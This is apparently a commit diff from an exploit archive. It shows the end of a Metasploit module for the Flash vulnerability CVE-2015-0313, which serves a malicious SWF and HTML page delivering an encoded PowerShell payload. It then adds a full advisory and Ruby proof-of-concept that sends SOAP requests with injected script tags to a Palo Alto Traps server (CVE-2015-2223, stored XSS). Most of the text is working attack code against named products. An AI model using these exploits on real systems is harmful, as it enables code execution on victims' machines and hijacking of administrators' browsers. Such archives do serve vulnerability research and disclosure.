:flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' },
|
||||
:arch => ARCH_X86
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Feb 02 2015',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
||||
135
platforms/windows/webapps/36580.rb
Executable file
135
platforms/windows/webapps/36580.rb
Executable file
|
|
@ -0,0 +1,135 @@
|
|||
#!/usr/bin/ruby
|
||||
=begin
|
||||
------------------------------------------------------------------------
|
||||
Product: Palo Alto Traps Server (formerly Cyvera Endpoint Protection)
|
||||
Vendor: Palo Alto Networks
|
||||
Vulnerable Version(s): 3.1.2.1546
|
||||
Tested Version: 3.1.2.1546
|
||||
Advisory Publication: 29 March 2015
|
||||
Vendor Notification: 17 October 2014
|
||||
Vulnerability Type: Stored Cross Site Scripting
|
||||
CVE Reference: CVE-2015-2223
|
||||
Risk Level: High
|
||||
Solution Status:
|
||||
Discovered and Provided: Michael Hendrickx, help AG
|
||||
------------------------------------------------------------------------
|
||||
|
||||
About the product:
|
||||
Palo Alto Traps is an advanced endpoint protection suite that detects attacks such as memory corruption, executable child processes, DLL hijacking, etc. Aside from optionally blocking it, it sends this “trap” to a central server for logging purposes.
|
||||
|
||||
About the vulnerability:
|
||||
An attacker can send a SOAP request with JavaScript embedded inside it, which gets stored in the database. When an administrator monitors the Traps’ admin screen and opens details about the vulnerability, the JavaScript is executed on the admin browser.
|
||||
|
||||
The XSS works in the <b:Arguments>, <b:FileName> and <b:URL> parameters, for example:
|
||||
|
||||
<b:Arguments>"C:\\Users\\Michael\\fake.exe"
|
||||
<script>
|
||||
alert("xss");
|
||||
</script>
|
||||
</b:Arguments>
|
||||
|
||||
A POC script can be found at the following URL:
|
||||
https://github.com/ndrix/random-scripts/blob/master/pa_traps_xss.rb
|
||||
|
||||
------------------------------------------------------------------------
|
||||
|
||||
Solution:
|
||||
|
||||
The vendor was notified back in October 2014, and a we’ve sent a few follow ups since. Contact the vendor for the patch details.
|
||||
|
||||
References:
|
||||
|
||||
[1] help AG middle East: http://www.helpag.com/
|
||||
[2] Palo Alto Traps: https://www.paloaltonetworks.com/products/endpoint-security.html
|
||||
------------------------------------------------------------------------
|
||||
=end
|
||||
|
||||
# PA traps fuzzer? :)
|
||||
|
||||
require 'net/http'
|
||||
|
||||
def usage
|
||||
puts "pa_traps.rb <trapserver>"
|
||||
exit
|
||||
end
|
||||
|
||||
usage if ARGV.empty?
|
||||
|
||||
# get the arguments
|
||||
traps = {}
|
||||
traps[:server] = ARGV[0]
|
||||
traps[:port] = 2125
|
||||
|
||||
http_headers = {
|
||||
"Content-Type" => "application/soap+xml; charset=utf-8",
|
||||
"Expect" => "100-continue",
|
||||
"Connection" => "Keep-Alive"
|
||||
}
|
||||
|
||||
soap_envelope = <<-SOAP
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://tempuri.org/IClientServices/SendPreventions</a:Action>
|
||||
<a:MessageID>urn:uuid:d1bdb437-ea8e-47e8-8167-6cfd69655f43</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">http://10.13.6.82:2125/CyveraServer/</a:To>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<SendPreventions xmlns="http://tempuri.org/">
|
||||
<machine>VMNAME1</machine>
|
||||
<preventions xmlns:b="http://schemas.datacontract.org/2004/07/Cyvera.Common.Interfaces" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<b:PreventionDetails>
|
||||
<b:Id>0</b:Id>
|
||||
<b:MachineName>AEDXBNB-MHE</b:MachineName>
|
||||
<b:Message>Exploit attempt was prevented by Traps</b:Message>
|
||||
<b:PreventionKey>116215ce-65e2-4b77-b176-6c0279d12c37</b:PreventionKey>
|
||||
<b:ProcessName>Excel.exe</b:ProcessName>
|
||||
<b:Time>2014-10-15T13:18:56</b:Time>
|
||||
<b:UserName> HELPAG\\hendrickx </b:UserName>
|
||||
<b:Arguments>"C:\\Users\\Michael\\fake.exe"
|
||||
<script>
|
||||
alert("xss");
|
||||
</script>
|
||||
</b:Arguments>
|
||||
<b:CyveraCode>EXEPROT</b:CyveraCode>
|
||||
<b:CyveraInternalCode i:nil="true"/>
|
||||
<b:CyveraVersion>3.1.2.1546</b:CyveraVersion>
|
||||
<b:FileName>
|
||||
<script>
|
||||
alert("xss");
|
||||
</script>
|
||||
</b:FileName>
|
||||
<b:PreventionMode>Notify</b:PreventionMode>
|
||||
<b:ProcessHash i:nil="true"/>
|
||||
<b:ProcessVersion>1.12.1.0</b:ProcessVersion>
|
||||
<b:Sent>false</b:Sent>
|
||||
<b:SentToServerTime>0001-01-01T00:00:00</b:SentToServerTime>
|
||||
<b:Source>Unknown</b:Source>
|
||||
<b:Status i:nil="true"/>
|
||||
<b:URL>
|
||||
<script>
|
||||
alert("xss in URL");
|
||||
</script>
|
||||
</b:URL>
|
||||
</b:PreventionDetails>
|
||||
</preventions>
|
||||
</SendPreventions>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
SOAP
|
||||
|
||||
if traps[:server].empty?
|
||||
puts "Need a traps server"
|
||||
usage
|
||||
end
|
||||
|
||||
# summary
|
||||
puts "Testing #{traps[:server]}"
|
||||
|
||||
Net::HTTP.start(traps[:server], traps[:port]) do |http|
|
||||
r1 = http.request_post('/CyveraServer/', soap_envelope, http_headers);
|
||||
puts r1
|
||||
puts r1.inspect
|
||||
end
|
||||
Loading…
Add table
Reference in a new issue